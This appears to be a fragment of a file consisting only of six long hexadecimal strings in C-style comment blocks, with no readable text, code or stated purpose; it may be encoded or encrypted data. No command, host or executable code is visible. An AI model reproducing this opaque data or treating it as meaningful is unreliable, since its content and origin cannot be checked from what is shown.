d39725e501f5e578291dfb10b3d03e37823579775903daa01c5b66e257ea29e29ba41116ec78b1e8af330ffbdf8d49a2f4a2061278d5f1d03d2eb7583936c0630a68ac8a2730bd88be55edaca1b3d7ba23e0c6024269307ac0b354e84510816e17205a788630a355b387be4a0aacac6bc43b2c9a9a6a49219fb8120291eb0ee3577f61cb9cfd26977c9991a16a5b14ea68c63668dc7c6828789fa51be9435acf23b86a11849146438a359573bcf72f681bd6eccac193c5349e10fb4b9c33c67f81d27d44a1c2c0f653e9518abbcf0f71cb24533985384f2572860c61ec0b458ccd9f80fd7a254a7f5c063a78c3c87879f62129d419eb0b348798f1fc74e1d0e7920ef528f5e7a4fd3ddefc9646ba80f00cf6d1040a54e02f66680797e3154cad8f820e9b3125481204f0db1518b10d471759b823696db00a2b521ae8c81f6bda18bb89cca4f0df1c25452c64674e3ff1aafee9cc04d9c83cf08a748f334882d855ea478bf9c8d6a3ae1612c203d1de3f893a5bce5a3825f8e182f2aae4851054a6c183c503a576a564fa80587c2c1e40bbed266b0668d3a95d16c925440caec46ee9b62115ee8e241538288df2fa6a0e302a93f1f2fcccfa4c53cbd67566571bd0b170af383468260dfdab392836605c6ca25c64553b7c28f1aa4a265e135c7ce3c6d3a00ce9c92a59a41a0b3feb597658eafa5a1d0072fa2ec918f2b3de0d35d9e2371b77e4eaa34e178917507179bdf4e85f68fd7ed3a125117eb6f302b096fe9f344c90dbde442775ad040e442489137f07ee776b4491713230aab1e06ca1e571e70f376b2ef0d41bb6d206d8642e7032f7fd323449c486a91e838a176817773773ff44dcd7892850db6cbb0004e47329b96b8a4821eb56c93dc2c93195d39a23ed752914e9685a694d624f1a387171d7eea12cb7452dfef169982a4ef0f87caa99ab9fe49c45c33b8d6324dd2b6fafe8d33d0bf6a384656a21a94b3bc3f5a2e9c18696efd06c7aa4faf330584ddc47e110632165cce2125012051febe4932532551477ca2c327fe3cc00952d4df0045264be54840168ca61dd42cef69265377f82945b6696d917c535ecd754fbedad2e2b0e7e5f119dab4904fdf7900815f9431df3bc19d86fb2966d4647215686bd3e53f41e68eeaa0daeb29932a61d1e2d79f93a8658049e41eb252e3adb5591bccf073ea0d9609de2dd7c736b49f66f129475532f6900092c2e9931c71b84e6a99b7d6c7f205c4bab47b99330b2d1d5cf72161be0af9d4e979e54bdbda34e3d7c32a40d7c01b8ae3713034e10b7e35d21993e17e34f74be09f1ccf82a36bdf222e02aa71d6e5ca7c0c0f4837b3d93d9cc823dcb827b9103f1100f9c1e47134d6eb5c3bc6236d6e616688f0bed012c378e34d97fe953ca972380978350919b44e8485fa6a639fbc83eefc832cab559613da47a60c3fa48a53bd446a8a1c3a03a757dbf44cd1c9405177142e645871f6c2b9d9e682dc5b7d7e9921be2deaef7c9bed1d6c89cad35a26618a96f111b75bf306e7c1a93525b23ac544286ff72e517bf3f30cf53cbb49cbab789857306604cdc60503f03ac258b6f33229064dab0e315eb1dab68cde645764c5004ebc9d9bc850c4398424796c6dc3deed5857d80599d425d199dbdce6a552755c9fcb5e68d7dd6d13c6e3b35f8d9a8b4a8415807e6915d8570b27324a9d8b559e8392828d73539e4c07795ad66e264f755f717958af21a0eb2f100a34941e65b93b4b7b50aa15a586780c0f7b92fbeb172f5114b5b18253db7ba60eed0c4d9a6aa091dc948f74fa44f0b2c50c533c911347a3573f2442e8d411975f128a2d58d3b5b9488b45cd462783a18a5cd7ea15d67190f81fd4c9a0638789d6c7815e351dfa2312cef6bc3140300bc0a4a967926fc6997bcd11eb68b54dd9ffbd1d6b8a16c0e9ec3ab2ba3f0fd13b6375cb0c045059ea9606f8cc11e0f717520a9f3bd6a04295efaaf84f66e325d8ff31b5af33ecf506daf8671acfccfa535db752c328fe48f773f7b20c57f9b38feaff9d8bd9840f93d60818c76b4b2e52a06763d07cf7cfe17b7260a03fd8c58a61abc871857c37be4cc1f4c5975ac9287d98b8aeb556ee19240b0734afce7aca79004aeab3a2db32fb7c4c38ca12f928a96eee9153eef72e43fb21e18a54ffefae67590361e27d0e4827c61a4377045bd83a17ecb3137442f8f7996e4b3b*/
/*4eb23e93c0e917fd44bef2f2bc59d8137b9b592d7ed6f79d338c78be87a02379b96c58eee7f344efc8b1d7680040798c26058b7ef49abd1cb56cdee973358ebc1744a738128caed960ac78d5f21bfc44792498d4773170e2df3fbe043c12b77d4224436c7882e9f9f41a748aee955b2866822e60648a919bdd03e29f11f0139d2b4b0b525c7b9edc199fa9b7d8744278ba76b9d6cb6369bc228f3130e158f2fb8dd87f3bc5e4e3a79c02f0606f6b15553002ba0a155e89ac591019b53fa21a9a0142b61fdc33a4045f67410c5c5ea0aae73a34f58521a6597eed317c380bafc83f56f991bdfed293c88d851f4f1118889e2caee4bc12e27025f10d25641964de725949d98d685accf5239f46f2e628874270abbd97a20aa866bf99fac54b07468e239a6a8cdb67dd8525d633775b0a84ebbbf44d669217fa1372f052e2208e0996eea0a7a37878b19a9811e3b93aadd27b223880470768c3f6e1ede49fe12337ef999df72625a118d91fe57be5f4a17cab52e6079d0ff3b058444b87be9538583c2deb298666e4181c53a2d560b0581608e70a198ed39587e4962ce17ff66d9708f5cdf996ed7e508172b645050e8485faf3af1f540751c3f246c79f55550570dc1f632091b622f9436da5d1112d4513f38bf4f51b3fafb9354f41b8dbc176a7fdf06ee1f36f5ff594226bf141d7ecbed8118eb7d9b6198af63e6b96564fee633df4ec1523fc0bb6cda52ced898be41a5c27ad4f78ed20051b61998b30d3f938ee2f45dbf97f0b48df90d9b8d4d71b8d85302976e3be4fd3a92e0c7456b9ab34924103618329350f3dce9142f56a634358aeb609715b96299009c0dcab83df9f80ca2c921b56ebb31595c6a170ba1e4ac2269a4d5a0afb82767b4a77c9555855fc867aadcffa5769be565d43df26f6f2b984c573bc64b415c41f8e1061a89dfab31b59422ba318b4a33c74da83728b32cd9981fee98dd9ff56fe2c384911d1cccb6aa71117079ea4a40ff85e680a9f38c8328ba196321ce506eb1ca649e11e1b55cb2435437ef0bafa3d37ac92d3238ab518217c5a538ab45c296827736a52b7f343436673b7ffbb9bb9e739df3df7dd2bce08e4664497f973a9df645d7cb5d745b95b637b66e0ac24c3e9d976969ae73c1908fd09c70016316acd0d4efc9f947ef014457639411354cfb4dabdd3014ddcd81852e579726d6e9a3fe4f27e8f01cff946084a1e1aee41a1aefb1f6a510d3cc4efa4093ba66f89888de0299f745b63059060c78dbdfd572778671d2098c9077feb1fa485e05531c64ea22c0270501e66f14f7cbdab3cfc731823d5816ad1df3984b686922c79faeea52eda49a022352cd64034301592d5179637a0c935484afb71d9b89ae5f3792f9037d0757d05912679964ed893dd69cc786203acc40822cbcf6a87856227f86ae540dc6c5a13a471aca41d8761e8c8bb551d691232d92d585b77a14ab90298b5ce57d2a90f197dce46d7dc512cc745179a66213184430b516ce354e0af80cea70950decd5b789bc057db5b406ee2c930714eeba8ebd15261dde7e0b39955f248e7b973e09879ecc145f891707670747de6b1f136c02a25ef9cd4dd203a2044f3263141eb41ecfe865b7bcc3f90a35d0d0d1a56e4fea57ecd567daceea48fc0b893be30fb1bfe40156e797a7129151f41884827bce11d2636cada1597e3f0f96672cb436ed15297be9ef4fe04f2231d5be53d577df30a05d76e36ed54877ffb88b02bdf81650521cbedead51e721f95cc9d70a27388be5e0fec4268340344db875d58840bf8d9f32ddee8dab94ce6faaa4ce61bca3d697121a9adee6aa6e38899210095aa29df65239413144f73e84036fd98ed49ce9664ec04ea82ee9f3bc2776570ec8b56e171a157753c7286bd75573440e75c75e203c817d167e2915fa31fe4f1e0500c298dc162522f6e107d7efd1797b583eb81ec1bba01d7e3a67fe2704e1c6d2cad866f3d1d9654e385ab0ca3d27fb6c25145eb6aa743b6aa6bcdbfdf13015acdc2fe1dc7bf2101c6ca16ee49d83400827799790eece2150cb4ab7e9192b8e821c0ba8d861db529cb36f9944343c4d13248c87453593eede6a96f8c074121c98ff21fa486e44d51a01a38e9dce8a047b518b229d352d04e52e936fa5a94a356d8e3be5750d8540b068c0f2de9ee72f256091f2912285be67d3e768715782007f8dacfc9483195f9fc30e96d225664885529b014b415e8c7b3924c65121a85cfe70b96d2494929fce6e2bb6f988fb5cf41779e6cf367f4e8d60feb5b73507a140c099c0f11cbbbbbc53d154e4ae7454875fb72ffbc0486c6918d28532e8f66e798fcff55c81d2b517293f5ece9b83af34c88666c1e44f86d605baa56db2db87ebe8b2c48456c87f813a90f7dee633a2481437dba5e12db35d50bccbf8f620e2b939569be94533e37bb226ad86188c389fbba5c5066ba9ba2ece2ee99b29c52686bbf2731f276bd7593602f86ead226e198487cdb2b1b8982ea5d12d0cd27c69d44c99ea49117a97fd47c4c78d93dd74bfd34a1e4e0961a18308345f2606cfd50a9cbdf53c3d1b6dee10c3a235b75bc455831f1f808c587a0d1e765c3380197272a749ea90b9685372ec20af938d7d2f87e3b5e13ac8ac86a5bf4093f90a2f4c140f2e43060f145d39c59415b148d30225a82301a048f559c516e6a5e88a6e318cd6bed6c1a41bcc0d6c5d8166a00ad785544d5c57133d7459323af9e183e5e0e63b50cd911ab3ad49b22e8e968dd72ff443a196c20bb5d6182133a5760ac913c3d4bfe9ed34c1e61791c8dc8428c2f4097a3a8*/
/*ad40a4b70136eaabc8e1791a353c06ea4b5f6a5a0babf04f68c9b64c79e1f77bce5decf234537335c0fb16d66e56d9496f38295aae3498e33dbe5cdb201963532d2675bbef50de89d402c350019e8bcf44c0bd3268502e3cf831a7f31a462914c400d1c0c3cb5cf83285d1fd81bebff1eaebb47d14616e56173674c413e692f999766ed38827386ebf65f4c11c88a4b6f2136ef24b4dfe9711e9416c724111fbd33f2f7aca61be4ce392d0fcb991b0360071d6f3045cc8c88fbf2cd8f0fc0f10d43d8a8b8e0917daf5fe6fe848bdc48176042ae43335ce09fcdd08e00da67bc48b6bababae8df6a06c107801b529b7348db20a53177a8ae1ba22fc29321a90680b325c4155f9b33781ad1f6d25fb33fea7bd8a8d551e31b9a1f43ba2bab6ea4b76065c23dda3e347126cf5229b0831b2334bded31c73d795a1ede454d82ebcb155342d4da7c04682d3ff5fa4d218b139bcfd8360396f21d615e2307c5ec2e6c175d3d872638ec2dd3a258173e1396b4198b246f836078b9a307b4af732ed97456eefe72683250a9b3428a5a30d025ef455c3a694e189924ceb5bf28ff648023d2740db2228a95da8ecee13de117feddf0e9ba8ee49097343fa18a4cdd27a141899442969fbf3a6a37580cb085cc61add3a36d19a6208c4c37ecd13f40852e101c9b8eedff98d6353dfcf8d0e1235cfc109939ddf09456d05da929b9bbe286d906a8f28cca33eddd0e6bee089ba89be483839f1ad30baeebef4474f3329d8033ac1d0c330b64975b2ff53148ef42363367571bd5e774eb5eb83e145d5377966f42133956288d4735b71ff5b20dfecd8d7f11eebf69abede44ea5a1acde3c041ff25f67189f76fddf04a719ac988da68fc92d4eaf198b8115f93648073612a6c678fbb795ec31fc957eb9aa504f9cc901f4ff9eef3cc682770f21f860aaf373931ec193fd168cd2e51bce4dc03fb51b915f43df3237badc208febe21edcd25405842f53ee301ff1d5220d23ac41fdd3854f002f5b8939e1de56b8d898f000e0fa3e7d116de519c80c979d52181a29ada28d8b771afcdc9a7ff2bcd8e4e0379b083986571b9778ead6c9154c326464c644c616b30d1beaf6430dd077a18f3deadb6fed864b563957cd0004d25445ed74e78caa628b87a96bcbeca31dc34485e1244dd5e39afd52f1b606bfe50c9b0c337e0404ef465ce2166dde3889e2184fac0e352da2ada5869fddd3c9cd65d61857b61f99c704f2ad941ab8fe91c851e55a8005de71a29c580974be61c0efb8f44ace2048da3fcaa25d8fc3e2f4b36dacc24c9a56a3aabfeb44d1be37a75c65e4e5f4a42c51356d4f215b2303fb5ffffe05f1b7088d075f551779fbb6878a6a562390f3b067ec357cb4e04c624334b23ad16aa5066753270458f6fe008ad45da36a7a4109b5ca32726da7a339800b9e4f94909fa5781c23c13a0e7f4305459bb1ed6d97ed3616fc7027423feb0e60633ba7fe757e063792ffee5af799c240b0bf3cd4ebbe367a952d08cc2e0e98434c1c6b74d7ed34a587ac2842be888bf4f7b56685f9121d07ff579862bb7ed9124ec9563cd668b649047ad581905266e366f0eecdafac0590919a539ec6800e943beed1cf4b4964e66b090da4d617e5e82bfeb7c689d13df6fb37f70a6421b1b5815feb706e93664801593a3ca51f0d3a7c362e3220902fd0fc9b363cd619e8b67a778782fbd74e481bbcc2e52cff75cea5ce333da0efe97d69f69d815436c12d8a1ded16a41725cd0edb894699dce93c5b2bb721081ff34fbd0fee4d1001e7dc196b1b9448ecdc83dbf5013591cbe11e3e8065c9fc563c823768d3f068214c2940fd7f2613e7611843869e2659cbbe1b0dd90330a620dd6487109b856937597a791fdcf87f454b4143b2c10ad7d75ac237b4380f268cc24d11bf80aa0cda6a041c74c9f0caf2a7fc0f80da0e1a23047a50ee8e3e480611015330174e68f5657234e784b05f14e73ed9e343367370e6dfe2f469be41f4457d1e795fdd0db46a82ef722f0a44044878a2416f370eb37af9b840af76b53ceb942b96644d389bb61554e1a88b5978400090769382f6028d1e44825a168b614f48a2715df37950f8a78aad80d1769e4d32d026d4427f4e5a53fdb4fa4f5c6eb769e4c032e85c1b2030be984595754758fae276935e51c086c044fc002ffeea31cb85be4e4c9efba87c6921b2ce28931148e7715dbd47a47cd107874bf5c249b9f1665433386511a91a41ad524bb3dee137963eff802f1ea82e6a1f6bc6c1b4195535ece59dfda50f9f984498a551b3f3e5a10f441f80a91cbea7103d38e6288877cf5109e1a25a21f5ebfb0445bae534332a07a7ace9c65c7ecff3866198235833faf64c29d5d94f097edc653cb6f2a383d9692b3be0d6e5b677a14ad82120a84c3bc9c31094ebb565043e79e2cdd67bc85c2d3c4265008f37d05e10ef394d4997beed979263e322438e1f862d13d25c9210c304d3a9fb7ce00ddad88ed12c3b16b297bc1ea0e7bd3b9eb2fd9821c5d9ea9235ac50125ec09e7ff9c59b183593e3fb429f26b0bf354031dd9cb54385d262e949389739410c7e8678d89ebe18f6f5eec9e3a945b89c42555d0be46d46cf1b353d44f6bd8c388488f4488981e7d2a761bb1292210ba2b08819c54ea877b46589dfad4f5d4ec8390df172028c562b8071da4890e239046de143f4bc7f184e162847bd37ab596a9504b50ab99239f4e5e11b93f8c5aa7f06bf00e42d0337650da1c5f60ffb1b344c3b1db3fad21c7526098d18ee2fd4f06438415a3bbc5d5d55dfad8053e9d088bd89d76a560*/
/*0d6eb194582e004aa411e11a0899f1a3711239a706992e826cd72513c38595f70453b53e873869d8d585d05b137fb9394124a78afa8893c668e9d4f75348cb5ed87ed794145cdc3be405aae236a9df1e20dc43fe942218049b4769f69e88d8e03e44e01d0d29def292e08c7d5e9cb9e291b8d27068b94ca3578463ac0c67ef5b1630fa6434f1b7269e83e36a716c14ff14324f9c2b69527d9cd0c9f371e3e569ab02709cf7875a5bcc8a8f7c9c6c393b06d863b2b0e2130006f3eccea0b068d2107916815504d8f6da3bd710c3e9d889b9f90b0e2a320a2aa0f74de5ccb04911e884730fe27e00cb40be504518ec2c58ba27554cc2831f0a9ac2c7d7326116374c4090eaee1cff5d2245a8d8fc47b78dd2f3317bcd983f64257486b50a053c9cb92d930c8858e21e2754b6b10791842c181367103eb30e8cf2e592862ec644fe25862579fd22fc5798fb3841499e400546cacc59c170a4d85b339e4b38a1744092dea3a5d045615732a8712021b369b5b1cdb32b796fd4abccd60324719ee583b1beddfa4e199f4c9dc6e379238835cd9393bb9bf5e02156c46e94a1e382936bfe119853103ebd289f09d2eea7c6f85d3181912b72293137d826d012c023ea394db2025ab40f71f286005d4902f65c7e81024c8ca214d551931d3fe7c70f74a342404e547d44b0e808ca1e08dc7e0770599ff517064de81df6f009d94e9f87683c82ba775cefecbca005983e1201ae019bac2d81d63870cb4d93c22db6870cb91066cc0c3d88cbacde7a3910727c332060fe66934b1d5063d6dd912dc6022c63163872fbe37eca70c2a01dea2f7f9c1106f6715d1de9ae202407295a0e268b03781931edfa9e35f6aa2cf1c4050f7c7d16e236450a970fa1f64815793c0cbc582ca41659be25eefac81a6b003e4fece4400277c5dcb466423344dceb454cfae6ac0d3a6e1640c5b88c83143094d29186ab1f69252e3619c730624e71d3dd65f7e582d7259a4c6369c7b07c3d42d078196490abaacf2b524057854bab53eb67acba7b1222c053c099b0b2e2b7226690b67cd46bc3870fd604ff5520d0469f998564dfb9a4b037411b8fdd733c648858375fd771aac7209ecb55dacc4f00a87ea8d3dcde8620f8547fc2e1ecb9a8e009896f48313a9105d2ac4655263cfaf4bc3bf00d907505503a77f4ba1694d2e7fae1d2f6efb0a7892232ed410e0ff173ae03d9a484797a50b9f9974b3062b47a97e57b94ba97d9a7d8b90ca910baf2e415ca9fdc6ff82a4bebb8ec679fc711c0ca5157e623ef53c4536f6584084ede0f806395059544f8ad49828101ee2846b40fc5efe6045ee2ae49eee76c7bf0864df677ad32f738b80ea9fbfe09dcdcd4ed2c600e4baed98224e4b98d6965c237910eeca6e6764b6363b1eed1bfc7db3d191dd3ed7f2863c67bc045cfc7885ec3755ac3c2938dcde9e2c6ce3529d998f4bbaa085c20677648e85757a60b9f159278cdcb1d5059f1a168d59d0c41d8527a288da6b34c180cecf03bdbd62125f8c88d6f16f0ac7114c0da60e87fad1178bb6fc057a72906e014fd0ff2c941528e4c016f7bfc2a7c744d59211f37af864a34bcd4652231862bc2c443f8ea4ac243026e09fbe1aa255355a8653ff99e2d6f361bd436fa3f88220fd84bef255f95deb13450eeef246183dc2b3780bfa2a824903f57faab868cbfba2a6da940d66396161abbbd784549622878d8f2b94041339db14083f86e2432038044560e300fc7dcaa8636e60dfff67de20a10e43b57a2ead3a6d135e4ca3c1bd8335f5a0dcf328e82beeb36eb2f12fcefd60134bd8872df5be499d6a6569a1fbd3459eda7aebc3453b10dab6304283fdd26ae7a1b31f67f6f4a1739d13cbb25f79f9abd7db01b812343a5225b219035b84b4158a8702c75fc892d77a18811d6cf0d6957d6b1a255337fca5b480005ffe1108d54024c2b4301fadf69b2d35b0513db35fc7df8d1cde8aa840011aab7e7e5d7fac57d560cea88af8b7db9d8e2c0c24419d96e8f1c13bf9531981eab64d61af0b1dac2c32caef3d226043d42340cd1eca6257ea26d6e623657d901689e357347721963f9ebdf68db99ebb7c5f0fb94657fb569ef3703d7d1b2d2e5f76a23f7f708c3a3e937dd2051a7f46c121a2bbc240d07fac66a551a77a4758f9116394c946998c012a73995b4809a6fcf76cccbc04ebbab29391c53319db713a3710d72ff8353325a25be7201c2d1df958774ba0592598afd260dd01eae4db9d96c6984a5b8584e6af5fc3204aab1a7dbef1c4e41d85feea9364eef0807ddea88648ffa9001f16d6ab4d03b118da164ecda27bc26a30f7bc8816ff587ce7e1ff39a8444b4f48a8a236b632f0b05de03aebd424fbbd4ebcc8c75d5ca0ba1b46c78a966da339ee17bdfafed87db7e9556ff20f2d6976885a55e8fa293a74d06d9c50a63c9f455b5428ef1f95fe89556ead906cc6dbac85acbe5320b0b0ce352bbca5964589f2195b9f7fd069d5c57a2a5dc57732001bf07f1fc91002b8ca888f1a7c13137d682186544cdfaf1ef03e894b3c5075bf26a0522dd4f9c24261f3ac1bee6281ba47dd2d8779b856a956260c9a77be24ab20d0e7da30e85fd879c6dce764383ae3d63143fc854e6846bdc9ed63375db726a6d7c5cd85300d42600f42ff2c0ddd106ea6a9e749f1e0f1c5e137d39e8b24f4960de6b217d1c60e8df512873b5f7c3ae70b76f31002785008eceef4126ec51607c97953b83c551247a6adc1fa0dcb59aabebaad2f6396b94b7dbadcf41afc06bc36c3c2821100d2b087a22f568a87d95bc8e5859a4954e4cef*/
/*4f208dbe0ffe5e05ea255ed354622195f3d867356f18445233c4079c2a1e39859c1b2630187e6e92279d27dae94e814d077a1d60ab0bb9c7227acd968e7547ac6b0bce510e74c9e7ace4ed9fefda74df4f3da82ede8521271dc6f782e2cd7648082af0855ce4c34c641ac1cd806beddb7a6506f42c4242b8ae2efaacc30003da12516e091a4badd42076fee4352037b40d74a7eba03f0fcb892bc0589479173dc1972439eb333d3499c11a9f1cda32ff832105d25d6e4b8d505ffe0398163dc1faf09a398345fbad7b45ae458d323a110b8902a53d942ea934e06802d0ef021d7614f403c90f3663a0184c38ae97dc1c23d856b08966062b3cbd130280ad878453c00ab7d30618e9b43891c13275193b83254f013ed35d79ccc7a631543dc362774c0c2d0d63c885c4a2dafb3a7844a342baa30d755453557cccc1ce2ef4005a8703891557fe7e668f126f87a4b1c5a268e3764ce6ca92b29f6aa4d326f109b96db2ac8aa589ef84b55df2517d53a29c9d6a555465c203f857db8222405ec088b3a2649db29529dbbf53b2b64097eebd0fbc2216ce1d70cf9c9cc4b296b7c2ac5e4ec5de90681452083c7d081244bd29669e0f1cad54b95095082d9f28af3579567afb9ed5c79e6aebec22bd991cb056da69735fc388a0f2bb0525de9903435b5e2534476ce2ed5abbe63f4ebff5468884ff24980468375ee2651a80f93086d12379635928bf89bf301044a342baf0be4b5e2c0491c39365877b8a230df688dc51679f14d1f742d9748b31baa0c646c6180475070bd04b2fa5fcd3e37a50fbbda9e0453eea19fce6aa8b272221d4dad511a2122efb8ddeff66bb380248e0efd6de8c0e2cf8a70df50dd1bc44a58388a8ce23534ac34353126540436f4e50fde67e6738cccada0837fb1500e1ef4e13f695fb39afeefe08b90af24d436cd7cd62715a714c72db3f1e0417eb3479e1a550d736b98b617a42ad347c79f985a99ba4bbbb3aee8068074cc7dbb7341f3f9c37ab878684fd94c4c69c975e43eccc654e36dfb86f61cf45154b9896a18abbfb201dd9f6bcd5cfd5d9f2b604d7d1617798a3dab6680e43e163648c600bc3ea657ad528430a44255d8167077365ce35f46e3eb0c003f09923b0682dfb75285a93e7082eb6d31ff216388d17ed9fa98bd9a6af09ab3d40569b07aef38895c5c6b3bae5b0925318e89d352f4ac1fb017628f629d5a47bdc25931c5f4edd9da994154b050646711e1b14dfe7b906e8b814ec437651975d5d75dcfb243fdd78bcd687bdf820b205fde5373e40d820fc48f4440c3e691eac99d22c1c0517235bd623a25b94306d63f2e901737e94412242ba75bf5b9aa40da0fa4d153f5c55e51407006cc6c1348db3fd870995cb97eaca22b75699ff03c84475e34ae5d0a355433c426e0377e07b584b4b8935bbaf98609b70d16652e7a65db72f74978d7778af3bc5ea68645b1f960335c9e22c4fc366268d9a86fdf85425250cae05fc86763719ab1f0320c252cb967f61d42bd03c164bc36c50aea031adcf39f305e0af32c71a36092928552dc598eb90d2172e5bac87b7c91048c495c6ec70e1c794ccdf27cdccf8c85d5d6bdfd5638b3c083d609a6a2109c17f8d613eb7470c0ffb3aff167673b90b2beb00607ec769b2e1ae776a8324c659e4602ce723193b703ba4e62af67a1e170471c65205565ea8cc38abc28bb727bc8a8d05c15dd0ca56debfbd3074500b10ec988b5fe6c6b08531a83e0f82eaec7fb8a3a4220b1cf71d1405dba21f5ef531c8d939966de7856f5a0f3bc9ec6d643106e88a537f0e30417bc1d910393e90089050492714cf9ef88bbd6fa1758c1a4b3f32a78318fb3f3d906584a5ea5d48046ac76d8e307af5062f55b71889845f356dbc741eea3dcffa95249896144e9dc31117ee952f41851379999f88fd2f5e2bc4f1878c7f990706c17354bf5a946a651bc8da2f2e92aedc2cc8dbb92eb4cbb680732beaf5f656b1e554171c4509b4d877b923887af89563797c68eb7176689ccad62594ea5a8bb70199a749e2840b3164edb98fc27327deb58580adae9117b1aadc541f20c257a30cbeb36439b6f037eaa527819ba5277b312695bfbebb5fe9cece5e811bf53c70c36e0c019496baf0e32f6fa2db9298251b3725bb07820359c604bc84e02ad286e43793ec1ca063e561d1bb1b57cf3a399949e7096b949d8492ee6fdc5de5cecd198cb61f7a0dcd94a638b03e96a704776ca7482b15e9ea65eda1f3a9b14cbdec89871a12b0fc07c4e9af107dcd872925c563b7a77e63cd89de4e20bc5a4977739856807f6fbe7448c193aaa0876c7b16db9a0f60b2067f92c7c1ab8bc472ee6c54100af61fcc4e5d9c202e51f664c1d89a006dc0df0d00dc9c2c1b477928e871fb3c9d43c454dbe047698835b55f4e241aae49eb8e8281a20e51152e773ca95f8cb8a3fb6e67c9f2e3e129e47db7a9bc6f9a476344645a2f7675b162a095ee4e38cdf7355beea6bd118e075c0bae753d1466c271e719ad3cc787f959bb94b01f12a2fba106d1f6dbbf319d6b8b25649857461b8dd94a34d436c1b189c84de5cb15f761db8328002d33fe6e97398682c14b184a31ea4997aeddc2ce6d01094194943038b8430a0cccbd893cca21266d6ce0872e7288a1b8823bfda70ed8282ed917b6b31cbb94f335dd5d5060e9534b470f04e250b5d75deee806ff33e90c40c68458c9c08dbfa65cf773c2137916858f52f2b9badaec9679a7ef47bbbcf643d3fb8a821a817d7e27a93748554137fbaf481574a4dd7b58fa99c5b9c2d31c2646a6200d4fa23ff3*/
/*1873a81d71a9313489bb0c084a5d2429ca9d87d384d5f88b11a726e1e2bd516cd5735e540a68c07586a714ab27f11304c329fc9bda6bd3b8ce0936be0c0a8cbfadab119b966b64dacd6ff63f57946548b9b60c3b8689abd76368c4bdf9cba2e9edb435a0929fa78744e4d3ab26424436133f9ea8a920a56f867653d7cb261e3dc29d310d800ab964e2fe30863fe7f4a71cdb726870f9fedef540a8a01c72264bd97baade5202db50df4fc62f3ba5249746d25724334c6dc8c1126da517f213cee037c1fa912d814c58d997d27c366467a22ce25e18ab876acbdb491dcf11e60ed4cb6bedca3912b9d7a84be1bd3775dacfa8667ec5fca14633b8fc47f4d1e39fb93b1d2d44954e41cf027d9ed585b3fd5729b92bfc08bf70f0f315a8a56eeb94348e4df58d1a36b83ac8bde8619e0cb239e75ac65f704c102b74984220e511bd2834d444422bfdd7c586d0d468cd5cc68b2a14f9a121a5d3e5008de829ac8d9144866844dfc376bde291b12c1741fa66dac69c6175cfea3ae56a044f6b4b6d53fee3348dcf2ea3c36086028ce51d1bdecc4c5ea6088fe6f939c094f1ebbf07fd3d793416ab1e00c03825dca006c98436cb3c0e4037c8850ff0a4996f63d75a2519a123816f7015a028d99ff596699677dc6e64e432de31b02ee935f4b1cf696b4c3fc4f941570352c470e8d214ab0f6d0ba7b275da10f8b0905dcb31cbcbce10e5cd0038b4e43acc47cf2c73f434179eb154132e44bf69a45fbf8b58fbcd2893cccc6009530c0e231d6f3816dcb0c801cb006914d33dc595b25f672f00db28c532fa2898e104c620d1e677b3793748310ca5c67f19d8269fa16186dc6ab0df88afbdec009b5e1f4d3f569298a8f4c539d5bc997da399c0e9d95b19e1ca333326641269e5e81e8a6c502b975241f02471a2c25971a04024363f5a467890d7a20457fcd41c0d3ce483bc42da70dd94b494e04c048e45af6b79c5f8ba4dc212b45b1e25e48c7b8dec89fde1124ccb0d133c2f7cb5c00f7937560687d347ae24d37929076f6a0d16ab50729b4f9249880f50afb0ac8d309e7fe0b0e71c0416cdb2a72bd5132578da5a3317a958ec562c7cb3cac1c06ac35ffb8ce59e272787da2914aa3314dc018bd941823c39af97803504a3e11585c4dc4e9b88cba8f19f7e37c49ae6529400fad786f3e76a335307428480e0df1c744ecd98e6b08acde2c7af59472dbd8e358675e070a91cc4588aee50001585af6701e5e235eb15c77547c88a225d9c11371e2568b9c0cf67725a372a86e19f145cbf402aa538624235518551b257bbbe1831bf1b1e9020e1b9609c8c9c7d4013d3ae7c5f3f915af3944223773f04f011705b94267ec3350033c433972ec2c8d92f4a3e54843fec1b0ba099bd216bfeee42598102553d0347a3cb2da9dcf451b8b0c480305b0e64814cd4831e5b2a2344e11c788caef7e3e521660857d584f0c99103560dfe005868ba7562a457e6a834183b1ac1ade3259b29c942b0726f541878cc7a3f145a56c5c8fbd86b032dd92d843f6796d57edaf4306499e1973800b9d361a0b928d674927bc47aea03cce995a052393199a49c257d55cd528b4d2d7961df5282f7bb31318e785967aa88e7b11711b91c45e230f0e10529e8ecf97f70b5df43ff2a44218b3c2139b667f03959c46e654eaa1085907ca2cb3e521185c6877c9ff8f369cc3d177c720a8c59d6b5b5e5b548e587866acc6f0cc2d61445bc7acac66f1c341654e0a88185eab5e2cb92073dcbbff449c3e443b5a2b5124a39dd458b66692f9cd6ca99be1ded00f817a37b6b39e620dc5062e216754926f8c9d626a76c4672c961a7e67b3c80cdca68dc22bd48e7ccf3d58165a27774153c6da3c816ef8f90473815ef7e0404c6fc5eea776f86bdbdaa2042b5c0a3520d7b5973f93859df9119812363587cc0cde3b5ff5bce877fbb5b791b04c0662c8a8ed12cfea6d799658d638101503efc817b719c8a1d3b3054df97a05b5c346b070bb2b39f9b56799ea5a840b9d7906bf2992c00a3cd55242514d77cd25a9e54e462184820e28d95aa8e07fc59cc9c52f8e9bb75308a6f11e7713cd818c45747f8d2b14603dc878c1c4b268b1b5c23aa389bcfb8cd04bcd5d156f24d6498ba56552cf46e9af9ee2ae95f69f6deb397b5e7ca324196fbd800ce2969c2a1f886fe69754f82618c2e0a514e3486f2b8925f0a97c7b13adad6ff6987737f21448d7ea8def7ec6789e09e332cf301ca40159fc1b29706394e12f66598a5a1927705f640f3a73f13cc352c37ffef31b452abbdbb6cecddd7e9606fab05bde12e481cd409bbe427e787545dce70840aa1f702eae557049611d7db9bd7f15edfc8e373d55794cb167afbdd4c25c59097338ec6e5193bb80f6b15114f49707d5b6d2c54faa00839582435ba9f93a6f8de7a1331cfee2ddfbaac767dbd2659faff12557e98f7622fb5fabb64ecddb25bf8e15ed34e445cbdbf68329125b981f2d05c1604e22d6de460c31ae08fc596fc0d5c8a23c7b2d9d17fd2c52f89445d1d4f5d5228ea8258a03ca1e431d31d652833a71584eed71ed895cdf30ff8c24be6f788357da9cff199b0ffebb733143f17a05417d3e3cc34c7fd27bc33ddb7611a11ea7ba946902c01f826afac174c80582f103d7c703f918418906478dba7719dbb77b358849692eb2831377f6c877b2e7e05c4ab98ff3ffa11f271c606b89c26705b6bff3dd869cae56dc59740f60a7eab58e8c8b75cb11ecedaa836dce05c52f411c2aed9205921cb8edad55ef577fdf72c3a6a38d1249f719c65da193377ad5653d14a*/
